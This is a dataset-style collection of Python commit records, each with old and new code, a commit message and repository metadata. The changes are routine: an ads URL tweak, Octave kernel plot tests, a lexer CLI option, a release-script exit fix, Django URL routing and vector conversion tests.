from urllib import quote from pylons import c, g from r2.lib.pages import Ads as BaseAds class Ads(BaseAds): def __init__(self): BaseAds.__init__(self) url_key = "adzerk_https_url" if c.secure else "adzerk_url" site_name = getattr(c.site, "analytics_name", c.site.name) self.ad_url = g.config[url_key].format( subreddit=quote(site_name.lower()), origin=c.request_origin, ) self.frame_id = "ad_main" Change frontpage keyword to "-reddit.com".from urllib import quote from pylons import c, g from r2.lib.pages import Ads as BaseAds from r2.models.subreddit import DefaultSR class Ads(BaseAds): def __init__(self): BaseAds.__init__(self) url_key = "adzerk_https_url" if c.secure else "adzerk_url" site_name = getattr(c.site, "analytics_name", c.site.name) # adzerk reporting is easier when not using a space in the tag if isinstance(c.site, DefaultSR): site_name = "-reddit.com" self.ad_url = g.config[url_key].format( subreddit=quote(site_name.lower()), origin=c.request_origin, ) self.frame_id = "ad_main"
<commit_before>from urllib import quote from pylons import c, g from r2.lib.pages import Ads as BaseAds class Ads(BaseAds): def __init__(self): BaseAds.__init__(self) url_key = "adzerk_https_url" if c.secure else "adzerk_url" site_name = getattr(c.site, "analytics_name", c.site.name) self.ad_url = g.config[url_key].format( subreddit=quote(site_name.lower()), origin=c.request_origin, ) self.frame_id = "ad_main" <commit_msg>Change frontpage keyword to "-reddit.com".<commit_after>from urllib import quote from pylons import c, g from r2.lib.pages import Ads as BaseAds from r2.models.subreddit import DefaultSR class Ads(BaseAds): def __init__(self): BaseAds.__init__(self) url_key = "adzerk_https_url" if c.secure else "adzerk_url" site_name = getattr(c.site, "analytics_name", c.site.name) # adzerk reporting is easier when not using a space in the tag if isinstance(c.site, DefaultSR): site_name = "-reddit.com" self.ad_url = g.config[url_key].format( subreddit=quote(site_name.lower()), origin=c.request_origin, ) self.frame_id = "ad_main"
3b773f6b046215e8ef1a8cc701f9200bc7078964
test_octave_kernel.py
test_octave_kernel.py
"""Example use of jupyter_kernel_test, with tests for IPython.""" import unittest import jupyter_kernel_test as jkt class OctaveKernelTests(jkt.KernelTests): kernel_name = "octave" language_name = "octave" code_hello_world = "disp('hello, world')" completion_samples = [ { 'text': 'one', 'matches': {'ones', 'onenormest'}, }, ] code_page_something = "ones?" if __name__ == '__main__': unittest.main()
"""Example use of jupyter_kernel_test, with tests for IPython.""" import unittest import jupyter_kernel_test as jkt class OctaveKernelTests(jkt.KernelTests): kernel_name = "octave" language_name = "octave" code_hello_world = "disp('hello, world')" code_display_data = [ {'code': '%plot -f png\nplot([1,2,3])', 'mime': 'image/png'}, {'code': '%plot -f svg\nplot([1,2,3])', 'mime': 'image/svg+xml'} ] completion_samples = [ { 'text': 'one', 'matches': {'ones', 'onenormest'}, }, ] code_page_something = "ones?" if __name__ == '__main__': unittest.main()
Add plot handling to test
Add plot handling to test
Python
bsd-3-clause
Calysto/octave_kernel,Calysto/octave_kernel
"""Example use of jupyter_kernel_test, with tests for IPython.""" import unittest import jupyter_kernel_test as jkt class OctaveKernelTests(jkt.KernelTests): kernel_name = "octave" language_name = "octave" code_hello_world = "disp('hello, world')" completion_samples = [ { 'text': 'one', 'matches': {'ones', 'onenormest'}, }, ] code_page_something = "ones?" if __name__ == '__main__': unittest.main() Add plot handling to test
"""Example use of jupyter_kernel_test, with tests for IPython.""" import unittest import jupyter_kernel_test as jkt class OctaveKernelTests(jkt.KernelTests): kernel_name = "octave" language_name = "octave" code_hello_world = "disp('hello, world')" code_display_data = [ {'code': '%plot -f png\nplot([1,2,3])', 'mime': 'image/png'}, {'code': '%plot -f svg\nplot([1,2,3])', 'mime': 'image/svg+xml'} ] completion_samples = [ { 'text': 'one', 'matches': {'ones', 'onenormest'}, }, ] code_page_something = "ones?" if __name__ == '__main__': unittest.main()
<commit_before>"""Example use of jupyter_kernel_test, with tests for IPython.""" import unittest import jupyter_kernel_test as jkt class OctaveKernelTests(jkt.KernelTests): kernel_name = "octave" language_name = "octave" code_hello_world = "disp('hello, world')" completion_samples = [ { 'text': 'one', 'matches': {'ones', 'onenormest'}, }, ] code_page_something = "ones?" if __name__ == '__main__': unittest.main() <commit_msg>Add plot handling to test<commit_after>
"""Example use of jupyter_kernel_test, with tests for IPython.""" import unittest import jupyter_kernel_test as jkt class OctaveKernelTests(jkt.KernelTests): kernel_name = "octave" language_name = "octave" code_hello_world = "disp('hello, world')" code_display_data = [ {'code': '%plot -f png\nplot([1,2,3])', 'mime': 'image/png'}, {'code': '%plot -f svg\nplot([1,2,3])', 'mime': 'image/svg+xml'} ] completion_samples = [ { 'text': 'one', 'matches': {'ones', 'onenormest'}, }, ] code_page_something = "ones?" if __name__ == '__main__': unittest.main()
"""Example use of jupyter_kernel_test, with tests for IPython.""" import unittest import jupyter_kernel_test as jkt class OctaveKernelTests(jkt.KernelTests): kernel_name = "octave" language_name = "octave" code_hello_world = "disp('hello, world')" completion_samples = [ { 'text': 'one', 'matches': {'ones', 'onenormest'}, }, ] code_page_something = "ones?" if __name__ == '__main__': unittest.main() Add plot handling to test"""Example use of jupyter_kernel_test, with tests for IPython.""" import unittest import jupyter_kernel_test as jkt class OctaveKernelTests(jkt.KernelTests): kernel_name = "octave" language_name = "octave" code_hello_world = "disp('hello, world')" code_display_data = [ {'code': '%plot -f png\nplot([1,2,3])', 'mime': 'image/png'}, {'code': '%plot -f svg\nplot([1,2,3])', 'mime': 'image/svg+xml'} ] completion_samples = [ { 'text': 'one', 'matches': {'ones', 'onenormest'}, }, ] code_page_something = "ones?" if __name__ == '__main__': unittest.main()
<commit_before>"""Example use of jupyter_kernel_test, with tests for IPython.""" import unittest import jupyter_kernel_test as jkt class OctaveKernelTests(jkt.KernelTests): kernel_name = "octave" language_name = "octave" code_hello_world = "disp('hello, world')" completion_samples = [ { 'text': 'one', 'matches': {'ones', 'onenormest'}, }, ] code_page_something = "ones?" if __name__ == '__main__': unittest.main() <commit_msg>Add plot handling to test<commit_after>"""Example use of jupyter_kernel_test, with tests for IPython.""" import unittest import jupyter_kernel_test as jkt class OctaveKernelTests(jkt.KernelTests): kernel_name = "octave" language_name = "octave" code_hello_world = "disp('hello, world')" code_display_data = [ {'code': '%plot -f png\nplot([1,2,3])', 'mime': 'image/png'}, {'code': '%plot -f svg\nplot([1,2,3])', 'mime': 'image/svg+xml'} ] completion_samples = [ { 'text': 'one', 'matches': {'ones', 'onenormest'}, }, ] code_page_something = "ones?" if __name__ == '__main__': unittest.main()
35b8dd77be54872bcf17b62e288cd4a2b5a37e5a
viper.py
viper.py
#!/usr/bin/env python3 from viper.interactive import * from viper.lexer import lex_file from viper.grammar import GRAMMAR if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('-L', '--interactive-lexer', action='store_true', help='lexes input') parser.add_argument('-S', '--interactive-sppf', action='store_true', help='lexes input and produces SPPF') parser.add_argument('-s', '--file-sppf', help='produces SPPF for given input') parser.add_argument('-r', '--grammar-rule', default='single_line', help='grammar rule from which to start parsing') args = parser.parse_args() if args.interactive_lexer: InteractiveLexer().cmdloop() elif args.interactive_sppf: InteractiveSPPF(args.grammar_rule).cmdloop() elif args.file_sppf: lexemes = lex_file(args.file_sppf) sppf = GRAMMAR.parse_multiple(lexemes) print(sppf)
#!/usr/bin/env python3 from viper.interactive import * from viper.lexer import lex_file, NewLine from viper.grammar import GRAMMAR if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('-L', '--interactive-lexer', action='store_true', help='lexes input') parser.add_argument('-l', '--file-lexer', help='produces lexemes for given file input') parser.add_argument('-S', '--interactive-sppf', action='store_true', help='lexes input and produces SPPF') parser.add_argument('-s', '--file-sppf', help='produces SPPF for given input') parser.add_argument('-r', '--grammar-rule', default='single_line', help='grammar rule from which to start parsing') args = parser.parse_args() if args.interactive_lexer: InteractiveLexer().cmdloop() elif args.file_lexer: lexemes = lex_file(args.file_lexer) outputs = [] curr_line = [] for lexeme in lexemes: if isinstance(lexeme, NewLine): outputs.append(' '.join(map(repr, curr_line))) curr_line = [] curr_line.append(lexeme) outputs.append(' '.join(map(repr, curr_line))) print('\n'.join(outputs)) elif args.interactive_sppf: InteractiveSPPF(args.grammar_rule).cmdloop() elif args.file_sppf: lexemes = lex_file(args.file_sppf) sppf = GRAMMAR.parse_file(lexemes) print(sppf)
Add CLI option for outputting lexed files
Add CLI option for outputting lexed files
Python
apache-2.0
pdarragh/Viper
#!/usr/bin/env python3 from viper.interactive import * from viper.lexer import lex_file from viper.grammar import GRAMMAR if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('-L', '--interactive-lexer', action='store_true', help='lexes input') parser.add_argument('-S', '--interactive-sppf', action='store_true', help='lexes input and produces SPPF') parser.add_argument('-s', '--file-sppf', help='produces SPPF for given input') parser.add_argument('-r', '--grammar-rule', default='single_line', help='grammar rule from which to start parsing') args = parser.parse_args() if args.interactive_lexer: InteractiveLexer().cmdloop() elif args.interactive_sppf: InteractiveSPPF(args.grammar_rule).cmdloop() elif args.file_sppf: lexemes = lex_file(args.file_sppf) sppf = GRAMMAR.parse_multiple(lexemes) print(sppf) Add CLI option for outputting lexed files
#!/usr/bin/env python3 from viper.interactive import * from viper.lexer import lex_file, NewLine from viper.grammar import GRAMMAR if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('-L', '--interactive-lexer', action='store_true', help='lexes input') parser.add_argument('-l', '--file-lexer', help='produces lexemes for given file input') parser.add_argument('-S', '--interactive-sppf', action='store_true', help='lexes input and produces SPPF') parser.add_argument('-s', '--file-sppf', help='produces SPPF for given input') parser.add_argument('-r', '--grammar-rule', default='single_line', help='grammar rule from which to start parsing') args = parser.parse_args() if args.interactive_lexer: InteractiveLexer().cmdloop() elif args.file_lexer: lexemes = lex_file(args.file_lexer) outputs = [] curr_line = [] for lexeme in lexemes: if isinstance(lexeme, NewLine): outputs.append(' '.join(map(repr, curr_line))) curr_line = [] curr_line.append(lexeme) outputs.append(' '.join(map(repr, curr_line))) print('\n'.join(outputs)) elif args.interactive_sppf: InteractiveSPPF(args.grammar_rule).cmdloop() elif args.file_sppf: lexemes = lex_file(args.file_sppf) sppf = GRAMMAR.parse_file(lexemes) print(sppf)
<commit_before>#!/usr/bin/env python3 from viper.interactive import * from viper.lexer import lex_file from viper.grammar import GRAMMAR if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('-L', '--interactive-lexer', action='store_true', help='lexes input') parser.add_argument('-S', '--interactive-sppf', action='store_true', help='lexes input and produces SPPF') parser.add_argument('-s', '--file-sppf', help='produces SPPF for given input') parser.add_argument('-r', '--grammar-rule', default='single_line', help='grammar rule from which to start parsing') args = parser.parse_args() if args.interactive_lexer: InteractiveLexer().cmdloop() elif args.interactive_sppf: InteractiveSPPF(args.grammar_rule).cmdloop() elif args.file_sppf: lexemes = lex_file(args.file_sppf) sppf = GRAMMAR.parse_multiple(lexemes) print(sppf) <commit_msg>Add CLI option for outputting lexed files<commit_after>
#!/usr/bin/env python3 from viper.interactive import * from viper.lexer import lex_file, NewLine from viper.grammar import GRAMMAR if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('-L', '--interactive-lexer', action='store_true', help='lexes input') parser.add_argument('-l', '--file-lexer', help='produces lexemes for given file input') parser.add_argument('-S', '--interactive-sppf', action='store_true', help='lexes input and produces SPPF') parser.add_argument('-s', '--file-sppf', help='produces SPPF for given input') parser.add_argument('-r', '--grammar-rule', default='single_line', help='grammar rule from which to start parsing') args = parser.parse_args() if args.interactive_lexer: InteractiveLexer().cmdloop() elif args.file_lexer: lexemes = lex_file(args.file_lexer) outputs = [] curr_line = [] for lexeme in lexemes: if isinstance(lexeme, NewLine): outputs.append(' '.join(map(repr, curr_line))) curr_line = [] curr_line.append(lexeme) outputs.append(' '.join(map(repr, curr_line))) print('\n'.join(outputs)) elif args.interactive_sppf: InteractiveSPPF(args.grammar_rule).cmdloop() elif args.file_sppf: lexemes = lex_file(args.file_sppf) sppf = GRAMMAR.parse_file(lexemes) print(sppf)
#!/usr/bin/env python3 from viper.interactive import * from viper.lexer import lex_file from viper.grammar import GRAMMAR if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('-L', '--interactive-lexer', action='store_true', help='lexes input') parser.add_argument('-S', '--interactive-sppf', action='store_true', help='lexes input and produces SPPF') parser.add_argument('-s', '--file-sppf', help='produces SPPF for given input') parser.add_argument('-r', '--grammar-rule', default='single_line', help='grammar rule from which to start parsing') args = parser.parse_args() if args.interactive_lexer: InteractiveLexer().cmdloop() elif args.interactive_sppf: InteractiveSPPF(args.grammar_rule).cmdloop() elif args.file_sppf: lexemes = lex_file(args.file_sppf) sppf = GRAMMAR.parse_multiple(lexemes) print(sppf) Add CLI option for outputting lexed files#!/usr/bin/env python3 from viper.interactive import * from viper.lexer import lex_file, NewLine from viper.grammar import GRAMMAR if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('-L', '--interactive-lexer', action='store_true', help='lexes input') parser.add_argument('-l', '--file-lexer', help='produces lexemes for given file input') parser.add_argument('-S', '--interactive-sppf', action='store_true', help='lexes input and produces SPPF') parser.add_argument('-s', '--file-sppf', help='produces SPPF for given input') parser.add_argument('-r', '--grammar-rule', default='single_line', help='grammar rule from which to start parsing') args = parser.parse_args() if args.interactive_lexer: InteractiveLexer().cmdloop() elif args.file_lexer: lexemes = lex_file(args.file_lexer) outputs = [] curr_line = [] for lexeme in lexemes: if isinstance(lexeme, NewLine): outputs.append(' '.join(map(repr, curr_line))) curr_line = [] curr_line.append(lexeme) outputs.append(' '.join(map(repr, curr_line))) print('\n'.join(outputs)) elif args.interactive_sppf: InteractiveSPPF(args.grammar_rule).cmdloop() elif args.file_sppf: lexemes = lex_file(args.file_sppf) sppf = GRAMMAR.parse_file(lexemes) print(sppf)
<commit_before>#!/usr/bin/env python3 from viper.interactive import * from viper.lexer import lex_file from viper.grammar import GRAMMAR if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('-L', '--interactive-lexer', action='store_true', help='lexes input') parser.add_argument('-S', '--interactive-sppf', action='store_true', help='lexes input and produces SPPF') parser.add_argument('-s', '--file-sppf', help='produces SPPF for given input') parser.add_argument('-r', '--grammar-rule', default='single_line', help='grammar rule from which to start parsing') args = parser.parse_args() if args.interactive_lexer: InteractiveLexer().cmdloop() elif args.interactive_sppf: InteractiveSPPF(args.grammar_rule).cmdloop() elif args.file_sppf: lexemes = lex_file(args.file_sppf) sppf = GRAMMAR.parse_multiple(lexemes) print(sppf) <commit_msg>Add CLI option for outputting lexed files<commit_after>#!/usr/bin/env python3 from viper.interactive import * from viper.lexer import lex_file, NewLine from viper.grammar import GRAMMAR if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('-L', '--interactive-lexer', action='store_true', help='lexes input') parser.add_argument('-l', '--file-lexer', help='produces lexemes for given file input') parser.add_argument('-S', '--interactive-sppf', action='store_true', help='lexes input and produces SPPF') parser.add_argument('-s', '--file-sppf', help='produces SPPF for given input') parser.add_argument('-r', '--grammar-rule', default='single_line', help='grammar rule from which to start parsing') args = parser.parse_args() if args.interactive_lexer: InteractiveLexer().cmdloop() elif args.file_lexer: lexemes = lex_file(args.file_lexer) outputs = [] curr_line = [] for lexeme in lexemes: if isinstance(lexeme, NewLine): outputs.append(' '.join(map(repr, curr_line))) curr_line = [] curr_line.append(lexeme) outputs.append(' '.join(map(repr, curr_line))) print('\n'.join(outputs)) elif args.interactive_sppf: InteractiveSPPF(args.grammar_rule).cmdloop() elif args.file_sppf: lexemes = lex_file(args.file_sppf) sppf = GRAMMAR.parse_file(lexemes) print(sppf)
f9cc9e73774f2d3f4a9525e174976b912ba2bbba
ci/release.py
ci/release.py
import os import sys import xmlrpclib from shutil import rmtree from subprocess import check_call TEMP_DIR = 'tmp' PROJECT_NAME = 'cctrl' DIST_DIR = os.path.join(TEMP_DIR, 'dist') def main(): if is_current_version(): sys.exit("Version is not updated. Aborting release.") dist() cleanup() def is_current_version(): pypi = xmlrpclib.ServerProxy('http://pypi.python.org/pypi') return pypi.package_releases('cctrl')[0] == __version__ def dist(): try: check_call(['python', 'setup.py', 'sdist', '--dist-dir={0}'.format(DIST_DIR), '--formats=gztar', 'upload']) except OSError as e: print e def cleanup(): rmtree(TEMP_DIR) if __name__ == '__main__': execfile(os.path.join(PROJECT_NAME, 'version.py')) main()
import os import sys import xmlrpclib from shutil import rmtree from subprocess import check_call TEMP_DIR = 'tmp' PROJECT_NAME = 'cctrl' DIST_DIR = os.path.join(TEMP_DIR, 'dist') def main(): if is_current_version(): sys.exit("Version is not updated. Aborting release.") dist() cleanup() def is_current_version(): pypi = xmlrpclib.ServerProxy('http://pypi.python.org/pypi') return pypi.package_releases('cctrl')[0] == __version__ def dist(): try: check_call(['python', 'setup.py', 'sdist', '--dist-dir={0}'.format(DIST_DIR), '--formats=gztar', 'upload']) except OSError as e: cleanup() sys.exit(e) def cleanup(): rmtree(TEMP_DIR) if __name__ == '__main__': execfile(os.path.join(PROJECT_NAME, 'version.py')) main()
Exit with error if dist upload fails
ci: Exit with error if dist upload fails
Python
apache-2.0
cloudControl/cctrl,cloudControl/cctrl
import os import sys import xmlrpclib from shutil import rmtree from subprocess import check_call TEMP_DIR = 'tmp' PROJECT_NAME = 'cctrl' DIST_DIR = os.path.join(TEMP_DIR, 'dist') def main(): if is_current_version(): sys.exit("Version is not updated. Aborting release.") dist() cleanup() def is_current_version(): pypi = xmlrpclib.ServerProxy('http://pypi.python.org/pypi') return pypi.package_releases('cctrl')[0] == __version__ def dist(): try: check_call(['python', 'setup.py', 'sdist', '--dist-dir={0}'.format(DIST_DIR), '--formats=gztar', 'upload']) except OSError as e: print e def cleanup(): rmtree(TEMP_DIR) if __name__ == '__main__': execfile(os.path.join(PROJECT_NAME, 'version.py')) main() ci: Exit with error if dist upload fails
import os import sys import xmlrpclib from shutil import rmtree from subprocess import check_call TEMP_DIR = 'tmp' PROJECT_NAME = 'cctrl' DIST_DIR = os.path.join(TEMP_DIR, 'dist') def main(): if is_current_version(): sys.exit("Version is not updated. Aborting release.") dist() cleanup() def is_current_version(): pypi = xmlrpclib.ServerProxy('http://pypi.python.org/pypi') return pypi.package_releases('cctrl')[0] == __version__ def dist(): try: check_call(['python', 'setup.py', 'sdist', '--dist-dir={0}'.format(DIST_DIR), '--formats=gztar', 'upload']) except OSError as e: cleanup() sys.exit(e) def cleanup(): rmtree(TEMP_DIR) if __name__ == '__main__': execfile(os.path.join(PROJECT_NAME, 'version.py')) main()
<commit_before>import os import sys import xmlrpclib from shutil import rmtree from subprocess import check_call TEMP_DIR = 'tmp' PROJECT_NAME = 'cctrl' DIST_DIR = os.path.join(TEMP_DIR, 'dist') def main(): if is_current_version(): sys.exit("Version is not updated. Aborting release.") dist() cleanup() def is_current_version(): pypi = xmlrpclib.ServerProxy('http://pypi.python.org/pypi') return pypi.package_releases('cctrl')[0] == __version__ def dist(): try: check_call(['python', 'setup.py', 'sdist', '--dist-dir={0}'.format(DIST_DIR), '--formats=gztar', 'upload']) except OSError as e: print e def cleanup(): rmtree(TEMP_DIR) if __name__ == '__main__': execfile(os.path.join(PROJECT_NAME, 'version.py')) main() <commit_msg>ci: Exit with error if dist upload fails<commit_after>
import os import sys import xmlrpclib from shutil import rmtree from subprocess import check_call TEMP_DIR = 'tmp' PROJECT_NAME = 'cctrl' DIST_DIR = os.path.join(TEMP_DIR, 'dist') def main(): if is_current_version(): sys.exit("Version is not updated. Aborting release.") dist() cleanup() def is_current_version(): pypi = xmlrpclib.ServerProxy('http://pypi.python.org/pypi') return pypi.package_releases('cctrl')[0] == __version__ def dist(): try: check_call(['python', 'setup.py', 'sdist', '--dist-dir={0}'.format(DIST_DIR), '--formats=gztar', 'upload']) except OSError as e: cleanup() sys.exit(e) def cleanup(): rmtree(TEMP_DIR) if __name__ == '__main__': execfile(os.path.join(PROJECT_NAME, 'version.py')) main()
import os import sys import xmlrpclib from shutil import rmtree from subprocess import check_call TEMP_DIR = 'tmp' PROJECT_NAME = 'cctrl' DIST_DIR = os.path.join(TEMP_DIR, 'dist') def main(): if is_current_version(): sys.exit("Version is not updated. Aborting release.") dist() cleanup() def is_current_version(): pypi = xmlrpclib.ServerProxy('http://pypi.python.org/pypi') return pypi.package_releases('cctrl')[0] == __version__ def dist(): try: check_call(['python', 'setup.py', 'sdist', '--dist-dir={0}'.format(DIST_DIR), '--formats=gztar', 'upload']) except OSError as e: print e def cleanup(): rmtree(TEMP_DIR) if __name__ == '__main__': execfile(os.path.join(PROJECT_NAME, 'version.py')) main() ci: Exit with error if dist upload failsimport os import sys import xmlrpclib from shutil import rmtree from subprocess import check_call TEMP_DIR = 'tmp' PROJECT_NAME = 'cctrl' DIST_DIR = os.path.join(TEMP_DIR, 'dist') def main(): if is_current_version(): sys.exit("Version is not updated. Aborting release.") dist() cleanup() def is_current_version(): pypi = xmlrpclib.ServerProxy('http://pypi.python.org/pypi') return pypi.package_releases('cctrl')[0] == __version__ def dist(): try: check_call(['python', 'setup.py', 'sdist', '--dist-dir={0}'.format(DIST_DIR), '--formats=gztar', 'upload']) except OSError as e: cleanup() sys.exit(e) def cleanup(): rmtree(TEMP_DIR) if __name__ == '__main__': execfile(os.path.join(PROJECT_NAME, 'version.py')) main()
<commit_before>import os import sys import xmlrpclib from shutil import rmtree from subprocess import check_call TEMP_DIR = 'tmp' PROJECT_NAME = 'cctrl' DIST_DIR = os.path.join(TEMP_DIR, 'dist') def main(): if is_current_version(): sys.exit("Version is not updated. Aborting release.") dist() cleanup() def is_current_version(): pypi = xmlrpclib.ServerProxy('http://pypi.python.org/pypi') return pypi.package_releases('cctrl')[0] == __version__ def dist(): try: check_call(['python', 'setup.py', 'sdist', '--dist-dir={0}'.format(DIST_DIR), '--formats=gztar', 'upload']) except OSError as e: print e def cleanup(): rmtree(TEMP_DIR) if __name__ == '__main__': execfile(os.path.join(PROJECT_NAME, 'version.py')) main() <commit_msg>ci: Exit with error if dist upload fails<commit_after>import os import sys import xmlrpclib from shutil import rmtree from subprocess import check_call TEMP_DIR = 'tmp' PROJECT_NAME = 'cctrl' DIST_DIR = os.path.join(TEMP_DIR, 'dist') def main(): if is_current_version(): sys.exit("Version is not updated. Aborting release.") dist() cleanup() def is_current_version(): pypi = xmlrpclib.ServerProxy('http://pypi.python.org/pypi') return pypi.package_releases('cctrl')[0] == __version__ def dist(): try: check_call(['python', 'setup.py', 'sdist', '--dist-dir={0}'.format(DIST_DIR), '--formats=gztar', 'upload']) except OSError as e: cleanup() sys.exit(e) def cleanup(): rmtree(TEMP_DIR) if __name__ == '__main__': execfile(os.path.join(PROJECT_NAME, 'version.py')) main()
7512f4b5fb5ebad5781e76ecd61c0e2d24b54f6c
projects/urls.py
projects/urls.py
from django.conf import settings from django.conf.urls import include, url from django.views.generic import TemplateView # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() # Include any views from . import views urlpatterns = [ url(r'^$', views.index, name='projects'), url(r'^(?P<slug>.+)$', views.post, name='project'), ] # Blog URLs if 'projects' in settings.INSTALLED_APPS: urlpatterns += [ url(r'^projects/', include(projects.urls, app_name='projects', namespace='projects')), ]
# This file is part of the FragDev Website. # # the FragDev Website is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # the FragDev Website is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with the FragDev Website. If not, see <http://www.gnu.org/licenses/>. from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.index, name='projects'), url(r'^(?P<slug>.+)', views.project, name='project'), ]
Add license statement, removed unused code, and set up the project URL mapping
Add license statement, removed unused code, and set up the project URL mapping
Python
agpl-3.0
lo-windigo/fragdev,lo-windigo/fragdev
from django.conf import settings from django.conf.urls import include, url from django.views.generic import TemplateView # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() # Include any views from . import views urlpatterns = [ url(r'^$', views.index, name='projects'), url(r'^(?P<slug>.+)$', views.post, name='project'), ] # Blog URLs if 'projects' in settings.INSTALLED_APPS: urlpatterns += [ url(r'^projects/', include(projects.urls, app_name='projects', namespace='projects')), ] Add license statement, removed unused code, and set up the project URL mapping
# This file is part of the FragDev Website. # # the FragDev Website is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # the FragDev Website is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with the FragDev Website. If not, see <http://www.gnu.org/licenses/>. from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.index, name='projects'), url(r'^(?P<slug>.+)', views.project, name='project'), ]
<commit_before>from django.conf import settings from django.conf.urls import include, url from django.views.generic import TemplateView # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() # Include any views from . import views urlpatterns = [ url(r'^$', views.index, name='projects'), url(r'^(?P<slug>.+)$', views.post, name='project'), ] # Blog URLs if 'projects' in settings.INSTALLED_APPS: urlpatterns += [ url(r'^projects/', include(projects.urls, app_name='projects', namespace='projects')), ] <commit_msg>Add license statement, removed unused code, and set up the project URL mapping<commit_after>
# This file is part of the FragDev Website. # # the FragDev Website is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # the FragDev Website is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with the FragDev Website. If not, see <http://www.gnu.org/licenses/>. from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.index, name='projects'), url(r'^(?P<slug>.+)', views.project, name='project'), ]
from django.conf import settings from django.conf.urls import include, url from django.views.generic import TemplateView # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() # Include any views from . import views urlpatterns = [ url(r'^$', views.index, name='projects'), url(r'^(?P<slug>.+)$', views.post, name='project'), ] # Blog URLs if 'projects' in settings.INSTALLED_APPS: urlpatterns += [ url(r'^projects/', include(projects.urls, app_name='projects', namespace='projects')), ] Add license statement, removed unused code, and set up the project URL mapping# This file is part of the FragDev Website. # # the FragDev Website is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # the FragDev Website is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with the FragDev Website. If not, see <http://www.gnu.org/licenses/>. from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.index, name='projects'), url(r'^(?P<slug>.+)', views.project, name='project'), ]
<commit_before>from django.conf import settings from django.conf.urls import include, url from django.views.generic import TemplateView # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() # Include any views from . import views urlpatterns = [ url(r'^$', views.index, name='projects'), url(r'^(?P<slug>.+)$', views.post, name='project'), ] # Blog URLs if 'projects' in settings.INSTALLED_APPS: urlpatterns += [ url(r'^projects/', include(projects.urls, app_name='projects', namespace='projects')), ] <commit_msg>Add license statement, removed unused code, and set up the project URL mapping<commit_after># This file is part of the FragDev Website. # # the FragDev Website is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # the FragDev Website is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with the FragDev Website. If not, see <http://www.gnu.org/licenses/>. from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.index, name='projects'), url(r'^(?P<slug>.+)', views.project, name='project'), ]
e336b9d7648a9705f525905ba994f0b3612189a6
tests/test_convert.py
tests/test_convert.py
import pytest # type: ignore from hypothesis import given from ppb_vector import Vector2 from utils import vector_likes, vectors class V(Vector2): pass @pytest.mark.parametrize('vector_like', vector_likes(), ids=lambda x: type(x).__name__) # type: ignore @pytest.mark.parametrize('cls', [Vector2, V]) # type: ignore def test_convert_class(cls, vector_like): vector = cls.convert(vector_like) assert isinstance(vector, cls) assert vector == vector_like @given(vector=vectors()) def test_convert_tuple(vector: Vector2): assert vector == tuple(vector) == (vector.x, vector.y) @given(vector=vectors()) def test_convert_list(vector: Vector2): assert vector == list(vector) == [vector.x, vector.y]
import pytest # type: ignore from hypothesis import given from ppb_vector import Vector2 from utils import vector_likes, vectors class V(Vector2): pass @pytest.mark.parametrize('vector_like', vector_likes(), ids=lambda x: type(x).__name__) # type: ignore @pytest.mark.parametrize('cls', [Vector2, V]) # type: ignore def test_convert_class(cls, vector_like): vector = cls.convert(vector_like) assert isinstance(vector, cls) assert vector == vector_like @given(vector=vectors()) def test_convert_tuple(vector: Vector2): assert vector == tuple(vector) == (vector.x, vector.y) @given(vector=vectors()) def test_convert_list(vector: Vector2): assert vector == list(vector) == [vector.x, vector.y] @pytest.mark.parametrize('coerce', [tuple, list]) @given(x=vectors()) def test_convert_roundtrip(coerce, x: Vector2): assert x == Vector2(coerce(x))
Add a round-trip test for tuple and list conversions
tests/convert: Add a round-trip test for tuple and list conversions
Python
artistic-2.0
ppb/ppb-vector,ppb/ppb-vector
